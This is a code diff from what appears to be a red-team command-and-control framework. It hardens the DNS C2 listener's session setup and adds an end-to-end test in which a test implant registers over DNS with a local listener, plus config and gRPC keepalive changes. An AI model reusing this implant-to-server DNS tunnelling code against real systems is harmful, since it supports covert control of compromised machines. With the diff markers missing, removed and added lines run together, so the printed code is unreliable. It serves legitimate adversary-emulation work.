binary.LittleEndian.PutUint32(respBuf, dnsSessionID)
for _, q := range req.Question {
switch q.Qtype {
case dns.TypeA:
a := &dns.A{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: s.TTL},
A: respBuf,
}
resp.Answer = append(resp.Answer, a)
}
func (s *SliverDNSServer) deletePendingInit(id uint32) {
if _, loaded := s.messages.LoadAndDelete(id); loaded {
s.pendingInits.Add(-1)
}
return resp
}
func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[session init] with dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
sessionID := msg.ID & sessionIDBitMask
dnsLog.Debugf("[session init] with dns session id %d", sessionID)
if sessionID == 0 {
dnsLog.Warnf("[session init] invalid dns session id")
return s.refusedErrorResp(req)
}
if msg.Size <= 32 {
dnsLog.Warnf("[session init] invalid msg data length")
return s.refusedErrorResp(req)
}
if dnsSession.CipherCtx != nil {
dnsLog.Warnf("[session init] session is already initialized")
if existing, ok := s.sessions.Load(sessionID); ok {
// Defensive: INIT should only be called once per session ID.
if dnsSession, ok := existing.(*DNSSession); ok && dnsSession != nil && dnsSession.CipherCtx != nil {
dnsLog.Warnf("[session init] session is already initialized")
return s.refusedErrorResp(req)
}
dnsLog.Warnf("[session init] session already exists")
return s.refusedErrorResp(req)
}
@@ -564,7 +660,27 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
return s.refusedErrorResp(req)
}
now := time.Now()
dnsSession := &DNSSession{
ID: sessionID,
Created: now,
dnsIdMsgIdMap: map[uint32]uint32{},
outgoingMsgIDs: []uint32{},
outgoingBuffers: map[uint32][]byte{},
outgoingMutex: &sync.RWMutex{},
incomingEnvelopes: map[uint32]*PendingEnvelope{},
incomingMutex: &sync.Mutex{},
msgCount: uint32(0),
}
dnsSession.touch(now)
dnsSession.ImplantConn = core.NewImplantConnection("dns", "n/a")
dnsSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
if _, loaded := s.sessions.LoadOrStore(sessionID, dnsSession); loaded {
dnsLog.Warnf("[session init] session id collision for %d", sessionID)
return s.refusedErrorResp(req)
}
go func() {
dnsLog.Debugf("[dns] starting implant conn send loop")
for envelope := range dnsSession.ImplantConn.Send {
@@ -572,7 +688,6 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
}
dnsLog.Debugf("[dns] closing implant conn send loop")
}()
dnsSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
buf := make([]byte, 4)
binary.LittleEndian.PutUint32(buf, dnsSession.ID)
respData, err := dnsSession.CipherCtx.Encrypt(buf)
@@ -628,6 +743,7 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
dnsLog.Debugf("[poll] with dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
dnsSession.touch(time.Now())
msgID, msgLen, err := dnsSession.PopOutgoingMsgID(msg)
if err != nil {
@@ -709,6 +825,7 @@ func (s *SliverDNSServer) handleDataFromImplant(domain string, msg *dnspb.DNSMes
dnsLog.Debugf("[from implant] dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
dnsSession.touch(time.Now())
dnsLog.Debugf("[from implant] msg id: %d, size: %d", msg.ID, msg.Size)
pending := dnsSession.IncomingPendingEnvelope(msg.ID, msg.Size)
complete := pending.Insert(msg)
@@ -739,6 +856,7 @@ func (s *SliverDNSServer) handleDataToImplant(domain string, msg *dnspb.DNSMessa
dnsLog.Debugf("[to implant] dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
dnsSession.touch(time.Now())
data, err := dnsSession.OutgoingRead(msg.ID, msg.Start, msg.Stop)
if err != nil {
@@ -798,6 +916,7 @@ func (s *SliverDNSServer) handleClear(domain string, msg *dnspb.DNSMessage, chec
dnsLog.Debugf("[clear] dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
dnsSession.touch(time.Now())
dnsSession.ClearOutgoingEnvelope(msg.ID)
respBuf := make([]byte, 4)
+309
View File
@@ -0,0 +1,309 @@
//go:build server && go_sqlite && sliver_e2e
package c2_test
import (
"context"
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"fmt"
"net"
"os"
"runtime"
"strconv"
"testing"
"time"
implantCrypto "github.com/bishopfox/sliver/implant/sliver/cryptography"
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/core"
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/transport"
"github.com/google/uuid"
"google.golang.org/protobuf/proto"
)
const dnsE2EEchoMsgType = uint32(0x7fffffff)
func TestDNS_EndToEndPingRPC(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
t.Cleanup(func() {
for _, session := range core.Sessions.All() {
core.Sessions.Remove(session.ID)
}
})
setupDNSKeyExImplantBuild(t)
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
dnsParent := "e2e.example.com."
dnsPort := freeUDPPort(t)
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
dnsListener, err := rpcClient.StartDNSListener(ctx, &clientpb.DNSListenerReq{
Domains: []string{dnsParent},
Canaries: false,
Host: "127.0.0.1",
Port: dnsPort,
})
if err != nil {
t.Fatalf("StartDNSListener: %v", err)
}
t.Cleanup(func() {
if job := core.Jobs.Get(int(dnsListener.JobID)); job != nil {
job.JobCtrl <- true
}
_ = db.DeleteListener(dnsListener.JobID)
})
// Give the UDP listener a moment to bind before the implant starts sending queries.
time.Sleep(50 * time.Millisecond)
stopImplant := startTestDNSImplant(t, dnsParent, dnsPort)
t.Cleanup(stopImplant)
sessionID := waitForSessionID(t, 10*time.Second)
pingReq := &sliverpb.Ping{
Nonce: 31337,
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: int64(5 * time.Second),
},
}
pingResp, err := rpcClient.Ping(ctx, pingReq)
if err != nil {
t.Fatalf("Ping: %v", err)
}
if pingResp.Nonce != pingReq.Nonce {
t.Fatalf("ping nonce mismatch: %d != %d", pingResp.Nonce, pingReq.Nonce)
}
// Extra validation: send a larger request/response directly via the session to
// force message fragmentation and reassembly over the DNS C2 transport.
session := core.Sessions.Get(sessionID)
if session == nil {
t.Fatalf("session not found: %s", sessionID)
}
large := make([]byte, 8192)
if _, err := rand.Read(large); err != nil {
t.Fatalf("rand.Read: %v", err)
}
resp, err := session.Request(dnsE2EEchoMsgType, 20*time.Second, large)
if err != nil {
t.Fatalf("session.Request(echo): %v", err)
}
if !bytesEqual(resp, large) {
t.Fatalf("echo response mismatch: %d != %d bytes", len(resp), len(large))
}
}
func bytesEqual(a, b []byte) bool {
if len(a) != len(b) {
return false
}
for i := range a {
if a[i] != b[i] {
return false
}
}
return true
}
func freeUDPPort(t *testing.T) uint32 {
t.Helper()
conn, err := net.ListenPacket("udp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen udp: %v", err)
}
defer conn.Close()
_, portStr, err := net.SplitHostPort(conn.LocalAddr().String())
if err != nil {
t.Fatalf("split udp addr: %v", err)
}
port, err := strconv.Atoi(portStr)
if err != nil {
t.Fatalf("parse udp port: %v", err)
}
if port <= 0 || 65535 < port {
t.Fatalf("unexpected udp port: %d", port)
}
return uint32(port)
}
func setupDNSKeyExImplantBuild(t *testing.T) {
t.Helper()
certs.SetupCAs()
serverAgeKeyPair := serverCrypto.AgeServerKeyPair()
peerAgeKeyPair, err := serverCrypto.RandomAgeKeyPair()
if err != nil {
t.Fatalf("random age key pair: %v", err)
}
implantCrypto.SetSecrets(
peerAgeKeyPair.Public,
peerAgeKeyPair.Private,
"",
serverAgeKeyPair.Public,
serverCrypto.MinisignServerPublicKey(),
)
digest := sha256.Sum256([]byte(peerAgeKeyPair.Public))
publicKeyDigest := hex.EncodeToString(digest[:])
implantBuild := &models.ImplantBuild{
Name: "test-" + publicKeyDigest,
PeerPublicKey: peerAgeKeyPair.Public,
PeerPublicKeyDigest: publicKeyDigest,
PeerPrivateKey: peerAgeKeyPair.Private,
AgeServerPublicKey: serverAgeKeyPair.Public,
}
if err := db.Session().Create(implantBuild).Error; err != nil {
t.Fatalf("create implant build: %v", err)
}
t.Cleanup(func() {
_ = db.Session().Delete(implantBuild).Error
})
}
func startTestDNSImplant(t *testing.T, dnsParent string, dnsPort uint32) func() {
t.Helper()
opts := &dnsclient.DNSOptions{
QueryTimeout: 250 * time.Millisecond,
RetryWait: 50 * time.Millisecond,
RetryCount: 10,
MaxErrors: 10,
WorkersPerResolver: 1,
NoTXT: false,
ForceResolvers: fmt.Sprintf("127.0.0.1:%d", dnsPort),
}
// Starting the UDP listener is asynchronous relative to the gRPC call that
// created it. Retry session init for a short time to avoid flakes.
var (
client *dnsclient.SliverDNSClient
err error
)
deadline := time.Now().Add(5 * time.Second)
for {
client, err = dnsclient.DNSStartSession(dnsParent, opts)
if err == nil {
break
}
if time.Now().After(deadline) {
t.Fatalf("DNSStartSession: %v", err)
}
time.Sleep(50 * time.Millisecond)
}
register := &sliverpb.Register{
Name: "e2e-dns",
Hostname: "localhost",
Uuid: uuid.NewString(),
Username: "unit-test",
Os: runtime.GOOS,
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: "sliver-e2e",
ActiveC2: "dns://e2e",
Version: "e2e",
ReconnectInterval: 0,
ProxyURL: "",
Locale: "en_US",
}
regData, err := proto.Marshal(register)
if err != nil {
t.Fatalf("marshal register: %v", err)
}
if err := client.WriteEnvelope(&sliverpb.Envelope{Type: sliverpb.MsgRegister, Data: regData}); err != nil {
t.Fatalf("send register: %v", err)
}
handlers := implantHandlers.GetSystemHandlers()
abort := make(chan struct{})
done := make(chan struct{})
go func() {
defer close(done)
for {
select {
case <-abort:
return
default:
}
envelope, err := client.ReadEnvelope()
switch err {
case nil:
if envelope == nil {
time.Sleep(25 * time.Millisecond)
continue
}
case dnsclient.ErrTimeout:
continue
case dnsclient.ErrClosed:
return
default:
// Treat transient resolver errors as retryable in this test loop.
continue
}
if envelope.ID == 0 {
continue
}
if envelope.Type == dnsE2EEchoMsgType {
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, Data: envelope.Data})
continue
}
handler, ok := handlers[envelope.Type]
if !ok {
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, UnknownMessageType: true})
continue
}
handler(envelope.Data, func(data []byte, err error) {
_ = err
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, Data: data})
})
}
}()
return func() {
close(abort)
_ = client.CloseSession()
select {
case <-done:
case <-time.After(5 * time.Second):
}
}
}
+289 -19
View File
@@ -232,31 +232,55 @@ func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder)
}
}
func TestDNSHelloRoundTrip(t *testing.T) {
func TestDNSSessionInitRoundTrip(t *testing.T) {
server := newTestDNSServer()
resolver := &testDNSResolver{server: server, parent: example1}
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_TOTP,
ID: 0,
sessionID := uint32(0x123456)
if _, ok := server.sessions.Load(sessionID); ok {
t.Fatalf("expected session %d to not exist before init", sessionID)
}
domain, err := encodeMessageDomain(example1, msg)
key := implantCrypto.RandomSymmetricKey()
cipherCtx := implantCrypto.NewCipherContext(key)
initData, err := implantCrypto.AgeKeyExToServer(key[:])
if err != nil {
t.Fatalf("encodeMessageDomain failed: %s", err)
t.Fatalf("AgeKeyExToServer failed: %s", err)
}
data, _, err := resolver.A(domain)
initMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x01000000 | sessionID,
Size: uint32(len(initData)),
}
client := dnsclient.NewDNSClient(example1, opts)
domains, err := client.SplitBuffer(initMsg, implantEncoders.Base32Encoder{}, initData)
if err != nil {
t.Fatalf("resolver.A failed: %s", err)
t.Fatalf("SplitBuffer failed: %s", err)
}
if len(data) != 4 {
t.Fatalf("expected 4 bytes in response, got %d", len(data))
var respData []byte
for _, domain := range domains {
data, _, err := resolver.TXT(domain)
if err != nil {
t.Fatalf("resolver.TXT failed: %s", err)
}
if 0 < len(data) {
respData = data
}
}
sessionID := binary.LittleEndian.Uint32(data) & sessionIDBitMask
if sessionID == 0 {
t.Fatal("expected non-zero session id")
if len(respData) < 1 {
t.Fatal("expected non-empty init response")
}
plaintext, err := cipherCtx.Decrypt(respData)
if err != nil {
t.Fatalf("init response decrypt failed: %s", err)
}
got := binary.LittleEndian.Uint32(plaintext) & sessionIDBitMask
if got != sessionID {
t.Fatalf("expected session id %d, got %d", sessionID, got)
}
if _, ok := server.sessions.Load(sessionID); !ok {
t.Fatalf("expected session %d to be stored", sessionID)
t.Fatalf("expected session %d to be stored after init", sessionID)
}
}
@@ -421,7 +445,8 @@ func TestDNSDataToImplantRejectsInvalidRead(t *testing.T) {
}
func TestIsC2Domain(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
listener := StartDNSListener("", uint16(9999), c2Domains, false)
t.Cleanup(func() { _ = listener.Shutdown() })
isC2, domain := listener.isC2SubDomain(c2Domains, "asdf.1.example.com.")
if !isC2 {
t.Fatal("IsC2Domain expected true, got false")
@@ -444,7 +469,8 @@ func TestIsC2Domain(t *testing.T) {
}
func TestDecodeSubdataBase32(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
listener := StartDNSListener("", uint16(9999), c2Domains, false)
t.Cleanup(func() { _ = listener.Shutdown() })
payload := make([]byte, 64)
rand.Read(payload)
original := &dnspb.DNSMessage{
@@ -476,7 +502,8 @@ func TestDecodeSubdataBase32(t *testing.T) {
}
func TestDecodeSubdataRejectsInvalid(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
listener := StartDNSListener("", uint16(9999), c2Domains, false)
t.Cleanup(func() { _ = listener.Shutdown() })
_, _, err := listener.decodeSubdata("invalid")
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg, got %v", err)
@@ -484,7 +511,8 @@ func TestDecodeSubdataRejectsInvalid(t *testing.T) {
}
func TestDecodeSubdataRejectsInvalidProto(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
listener := StartDNSListener("", uint16(9999), c2Domains, false)
t.Cleanup(func() { _ = listener.Shutdown() })
encoded, err := implantEncoders.Base32Encoder{}.Encode([]byte{0x00})
if err != nil {
t.Fatalf("encode failed: %s", err)
@@ -570,6 +598,199 @@ func TestAccumulateInitDataReassembles(t *testing.T) {
}
}
func TestAccumulateInitDataCapsPendingInits(t *testing.T) {
server := newTestDNSServer()
// Only send a single fragment per INIT so each call allocates one pending init.
for i := 0; i < defaultMaxPendingDNSInits+10; i++ {
id := uint32(i + 1) // avoid zero
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: id,
Size: 2048,
Start: 0,
Data: []byte{0xAA},
}
_, complete, err := server.accumulateInitData(msg)
if i < defaultMaxPendingDNSInits {
if err != nil {
t.Fatalf("unexpected error for pending init %d: %v", i, err)
}
if complete {
t.Fatalf("unexpected completion for pending init %d", i)
}
if _, ok := server.messages.Load(id); !ok {
t.Fatalf("expected pending init %d to be stored", id)
}
continue
}
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg after cap, got %v", err)
}
if _, ok := server.messages.Load(id); ok {
t.Fatalf("expected pending init %d to not be stored after cap", id)
}
}
if got := server.pendingInits.Load(); got != int64(defaultMaxPendingDNSInits) {
t.Fatalf("expected pendingInits=%d, got %d", defaultMaxPendingDNSInits, got)
}
var count int64
server.messages.Range(func(key, value any) bool {
count++
return true
})
if count != int64(defaultMaxPendingDNSInits) {
t.Fatalf("expected %d pending init entries, got %d", defaultMaxPendingDNSInits, count)
}
}
func TestAccumulateInitDataCompletionCleansUpPendingInit(t *testing.T) {
server := newTestDNSServer()
client := dnsclient.NewDNSClient(example1, opts)
testData := make([]byte, 2048)
rand.Read(testData)
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x01020304,
Size: uint32(len(testData)),
}
domains, err := client.SplitBuffer(msg, implantEncoders.Base32Encoder{}, testData)
if err != nil {
t.Fatalf("SplitBuffer failed: %s", err)
}
subMsgs := make([]*dnspb.DNSMessage, 0, len(domains))
for _, domain := range domains {
subdata := strings.TrimSuffix(domain, example1)
subdata = strings.ReplaceAll(subdata, ".", "")
raw, err := implantEncoders.Base32Encoder{}.Decode([]byte(subdata))
if err != nil {
t.Fatalf("decode subdata failed: %s", err)
}
subMsg := &dnspb.DNSMessage{}
if err := proto.Unmarshal(raw, subMsg); err != nil {
t.Fatalf("unmarshal submsg failed: %s", err)
}
subMsgs = append(subMsgs, subMsg)
}
for _, subMsg := range subMsgs {
_, _, err := server.accumulateInitData(subMsg)
if err != nil {
t.Fatalf("accumulateInitData failed: %v", err)
}
}
if got := server.pendingInits.Load(); got != 0 {
t.Fatalf("expected pendingInits=0 after completion, got %d", got)
}
if _, ok := server.messages.Load(msg.ID); ok {
t.Fatalf("expected pending init %d to be deleted after completion", msg.ID)
}
}
func TestAccumulateInitDataSizeMismatchCleansUpPendingInit(t *testing.T) {
server := newTestDNSServer()
id := uint32(0x01020304)
// First fragment creates pending state.
_, complete, err := server.accumulateInitData(&dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: id,
Size: 2048,
Start: 0,
Data: []byte{0xAA},
})
if err != nil {
t.Fatalf("unexpected error creating pending init: %v", err)
}
if complete {
t.Fatal("unexpected completion creating pending init")
}
if got := server.pendingInits.Load(); got != 1 {
t.Fatalf("expected pendingInits=1, got %d", got)
}
// Mismatched Size should reject and delete pending state.
_, _, err = server.accumulateInitData(&dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: id,
Size: 2049,
Start: 1,
Data: []byte{0xBB},
})
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg for mismatched size, got %v", err)
}
if got := server.pendingInits.Load(); got != 0 {
t.Fatalf("expected pendingInits=0 after cleanup, got %d", got)
}
if _, ok := server.messages.Load(id); ok {
t.Fatalf("expected pending init %d to be deleted after size mismatch", id)
}
}
func TestGCPendingInitsExpiresOldEntries(t *testing.T) {
server := newTestDNSServer()
now := time.Now()
expiredAt := now.Add(-defaultPendingDNSInitTTL - time.Second)
freshAt := now.Add(-defaultPendingDNSInitTTL / 2)
expiredIDs := make([]uint32, 0, 10)
freshIDs := make([]uint32, 0, 5)
for i := 0; i < 10; i++ {
id := uint32(0x90000000 + i)
expiredIDs = append(expiredIDs, id)
server.messages.Store(id, &pendingInit{
Created: expiredAt,
Envelope: &PendingEnvelope{
Size: 1,
received: 0,
messages: map[uint32][]byte{},
mutex: &sync.Mutex{},
complete: false,
},
})
server.pendingInits.Add(1)
}
for i := 0; i < 5; i++ {
id := uint32(0xA0000000 + i)
freshIDs = append(freshIDs, id)
server.messages.Store(id, &pendingInit{
Created: freshAt,
Envelope: &PendingEnvelope{
Size: 1,
received: 0,
messages: map[uint32][]byte{},
mutex: &sync.Mutex{},
complete: false,
},
})
server.pendingInits.Add(1)
}
server.gcPendingInits()
for _, id := range expiredIDs {
if _, ok := server.messages.Load(id); ok {
t.Fatalf("expected expired pending init %d to be deleted", id)
}
}
for _, id := range freshIDs {
if _, ok := server.messages.Load(id); !ok {
t.Fatalf("expected fresh pending init %d to remain", id)
}
}
if got := server.pendingInits.Load(); got != int64(len(freshIDs)) {
t.Fatalf("expected pendingInits=%d, got %d", len(freshIDs), got)
}
}
func TestSplitToChunksPadding(t *testing.T) {
data := []byte{1, 2, 3, 4, 5, 6}
chunks := splitToChunks(data, 4)
@@ -658,7 +879,6 @@ func newTestDNSServer() *SliverDNSServer {
messages: &sync.Map{},
TTL: 0,
MaxTXTLength: defaultMaxTXTLength,
EnforceOTP: false,
}
}
@@ -860,3 +1080,53 @@ func randomBytes(size int) []byte {
rand.Read(buf)
return buf
}
func TestAccumulateInitDataRejectsOversizedInit(t *testing.T) {
server := newTestDNSServer()
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x01020304,
Size: defaultMaxDNSInitSize + 1,
Data: []byte{0x01},
}
_, _, err := server.accumulateInitData(msg)
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg, got %v", err)
}
}
func TestAccumulateInitDataRejectsReceivedOverrun(t *testing.T) {
server := newTestDNSServer()
// Declared size is 8 bytes, but two chunks deliver 10 bytes total.
first := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x0a0b0c0d,
Size: 8,
Start: 0,
Stop: 5,
Data: []byte("12345"),
}
second := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x0a0b0c0d,
Size: 8,
Start: 5,
Stop: 10,
Data: []byte("67890"),
}
_, complete, err := server.accumulateInitData(first)
if err != nil {
t.Fatalf("unexpected error on first chunk: %v", err)
}
if complete {
t.Fatal("expected incomplete state after first chunk")
}
_, _, err = server.accumulateInitData(second)
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg, got %v", err)
}
}
+1 -1
View File
@@ -128,7 +128,7 @@ func StartWGListenerJob(wgListener *clientpb.WGListenerReq) (*core.Job, error) {
// StartDNSListenerJob - Start a DNS listener as a job
func StartDNSListenerJob(dnsListener *clientpb.DNSListenerReq) (*core.Job, error) {
server := StartDNSListener(dnsListener.Host, uint16(dnsListener.Port), dnsListener.Domains, dnsListener.Canaries, dnsListener.EnforceOTP)
server := StartDNSListener(dnsListener.Host, uint16(dnsListener.Port), dnsListener.Domains, dnsListener.Canaries)
description := fmt.Sprintf("%s (canaries %v)", strings.Join(dnsListener.Domains, " "), dnsListener.Canaries)
job := &core.Job{
ID: core.NextJobID(),
+44 -4
View File
@@ -52,10 +52,50 @@ func getCrackLegacyConfigPath() string {
}
type crackConfigYAML struct {
AutoFire bool `yaml:"AutoFire"`
MaxFileSize int64 `yaml:"MaxFileSize"`
ChunkSize int64 `yaml:"ChunkSize"`
MaxDiskUsage int64 `yaml:"MaxDiskUsage"`
AutoFire bool `yaml:"auto_fire"`
MaxFileSize int64 `yaml:"max_file_size"`
ChunkSize int64 `yaml:"chunk_size"`
MaxDiskUsage int64 `yaml:"max_disk_usage"`
}
type crackConfigYAMLCompat struct {
AutoFire *bool `yaml:"auto_fire"`
MaxFileSize *int64 `yaml:"max_file_size"`
ChunkSize *int64 `yaml:"chunk_size"`
MaxDiskUsage *int64 `yaml:"max_disk_usage"`
AutoFireLegacy *bool `yaml:"AutoFire"`
MaxFileSizeLegacy *int64 `yaml:"MaxFileSize"`
ChunkSizeLegacy *int64 `yaml:"ChunkSize"`
MaxDiskUsageLegacy *int64 `yaml:"MaxDiskUsage"`
}
func (c *crackConfigYAML) UnmarshalYAML(node *yaml.Node) error {
var raw crackConfigYAMLCompat
if err := node.Decode(&raw); err != nil {
return err
}
if raw.AutoFire != nil {
c.AutoFire = *raw.AutoFire
} else if raw.AutoFireLegacy != nil {
c.AutoFire = *raw.AutoFireLegacy
}
if raw.MaxFileSize != nil {
c.MaxFileSize = *raw.MaxFileSize
} else if raw.MaxFileSizeLegacy != nil {
c.MaxFileSize = *raw.MaxFileSizeLegacy
}
if raw.ChunkSize != nil {
c.ChunkSize = *raw.ChunkSize
} else if raw.ChunkSizeLegacy != nil {
c.ChunkSize = *raw.ChunkSizeLegacy
}
if raw.MaxDiskUsage != nil {
c.MaxDiskUsage = *raw.MaxDiskUsage
} else if raw.MaxDiskUsageLegacy != nil {
c.MaxDiskUsage = *raw.MaxDiskUsageLegacy
}
return nil
}
func crackConfigFromYAML(data []byte) (*clientpb.CrackConfig, error) {
+35
View File
@@ -17,6 +17,41 @@ func TestCrackConfigParsesYAML(t *testing.T) {
t.Fatalf("failed to create config dir: %v", err)
}
data := []byte(`auto_fire: false
max_file_size: 2048
chunk_size: 1024
max_disk_usage: 4096
`)
if err := os.WriteFile(configPath, data, 0600); err != nil {
t.Fatalf("failed to write yaml config: %v", err)
}
config, err := LoadCrackConfig()
if err != nil {
t.Fatalf("expected no error, got %v", err)
}
if config.AutoFire {
t.Fatalf("expected AutoFire false")
}
if config.MaxFileSize != 2048 {
t.Fatalf("expected MaxFileSize %d, got %d", 2048, config.MaxFileSize)
}
if config.ChunkSize != 1024 {
t.Fatalf("expected ChunkSize %d, got %d", 1024, config.ChunkSize)
}
if config.MaxDiskUsage != 4096 {
t.Fatalf("expected MaxDiskUsage %d, got %d", 4096, config.MaxDiskUsage)
}
}
func TestCrackConfigParsesLegacyYAML(t *testing.T) {
t.Setenv("SLIVER_ROOT_DIR", t.TempDir())
configPath := getCrackConfigPath()
if err := os.MkdirAll(filepath.Dir(configPath), 0700); err != nil {
t.Fatalf("failed to create config dir: %v", err)
}
data := []byte(`AutoFire: false
MaxFileSize: 2048
ChunkSize: 1024
+36 -2
View File
@@ -30,8 +30,9 @@ import (
)
const (
serverConfigFileName = "server.yaml"
serverLegacyConfigFileName = "server.json"
serverConfigFileName = "server.yaml"
serverLegacyConfigFileName = "server.json"
defaultGRPCKeepaliveMinTimeSeconds int64 = 30
)
var (
@@ -59,6 +60,17 @@ type LogConfig struct {
TLSKeyLogger bool `json:"tls_key_logger" yaml:"tls_key_logger"`
}
// GRPCKeepaliveConfig - gRPC keepalive enforcement settings
type GRPCKeepaliveConfig struct {
MinTimeSeconds int64 `json:"min_time_seconds" yaml:"min_time_seconds"`
PermitWithoutStream *bool `json:"permit_without_stream" yaml:"permit_without_stream"`
}
// GRPCConfig - gRPC server settings
type GRPCConfig struct {
Keepalive *GRPCKeepaliveConfig `json:"keepalive" yaml:"keepalive"`
}
// DaemonConfig - Configure daemon mode
type DaemonConfig struct {
Host string `json:"host" yaml:"host"`
@@ -182,6 +194,7 @@ type ServerConfig struct {
DaemonMode bool `json:"daemon_mode" yaml:"daemon_mode"`
DaemonConfig *DaemonConfig `json:"daemon" yaml:"daemon"`
Logs *LogConfig `json:"logs" yaml:"logs"`
GRPC *GRPCConfig `json:"grpc" yaml:"grpc"`
Watchtower *WatchTowerConfig `json:"watch_tower" yaml:"watch_tower"`
GoProxy string `json:"go_proxy" yaml:"go_proxy"`
HTTPDefaults *HttpDefaultConfig `json:"http_default" yaml:"http_default"`
@@ -257,6 +270,20 @@ func GetServerConfig() *ServerConfig {
}
log.RootLogger.SetLevel(log.LevelFrom(config.Logs.Level))
if config.GRPC == nil {
config.GRPC = &GRPCConfig{}
}
if config.GRPC.Keepalive == nil {
config.GRPC.Keepalive = &GRPCKeepaliveConfig{}
}
if config.GRPC.Keepalive.MinTimeSeconds <= 0 {
config.GRPC.Keepalive.MinTimeSeconds = defaultGRPCKeepaliveMinTimeSeconds
}
if config.GRPC.Keepalive.PermitWithoutStream == nil {
defaultPermit := true
config.GRPC.Keepalive.PermitWithoutStream = &defaultPermit
}
err := config.Save() // This updates the config with any missing fields
if err != nil {
serverConfigLog.Errorf("Failed to save default config %s", err)
@@ -271,6 +298,7 @@ func GetServerConfig() *ServerConfig {
}
func getDefaultServerConfig() *ServerConfig {
defaultPermitWithoutStream := true
return &ServerConfig{
DaemonMode: false,
DaemonConfig: &DaemonConfig{
@@ -282,6 +310,12 @@ func getDefaultServerConfig() *ServerConfig {
GRPCUnaryPayloads: false,
GRPCStreamPayloads: false,
},
GRPC: &GRPCConfig{
Keepalive: &GRPCKeepaliveConfig{
MinTimeSeconds: defaultGRPCKeepaliveMinTimeSeconds,
PermitWithoutStream: &defaultPermitWithoutStream,
},
},
HTTPDefaults: &HttpDefaultConfig{
Headers: []HttpDefaultHeader{
{
+68 -4
View File
@@ -138,15 +138,20 @@ func (c *CrackFileChunk) ToProtobuf() *clientpb.CrackFileChunk {
// crack job contains the parent command, whose keyspace may get broken
// up into multiple crack tasks and distributed to multiple crackstations
type CrackJob struct {
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
CreatedAt time.Time `gorm:"->;<-:create;"`
CompletedAt time.Time
Tasks []CrackTask
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
CreatedAt time.Time `gorm:"->;<-:create;"`
CompletedAt time.Time
Err string
ResultFileID string
Tasks []CrackTask
Command CrackCommand // Parent command
}
func (c *CrackJob) Status() clientpb.CrackJobStatus {
if c.Err != "" {
return clientpb.CrackJobStatus_FAILED
}
if c.CompletedAt.IsZero() {
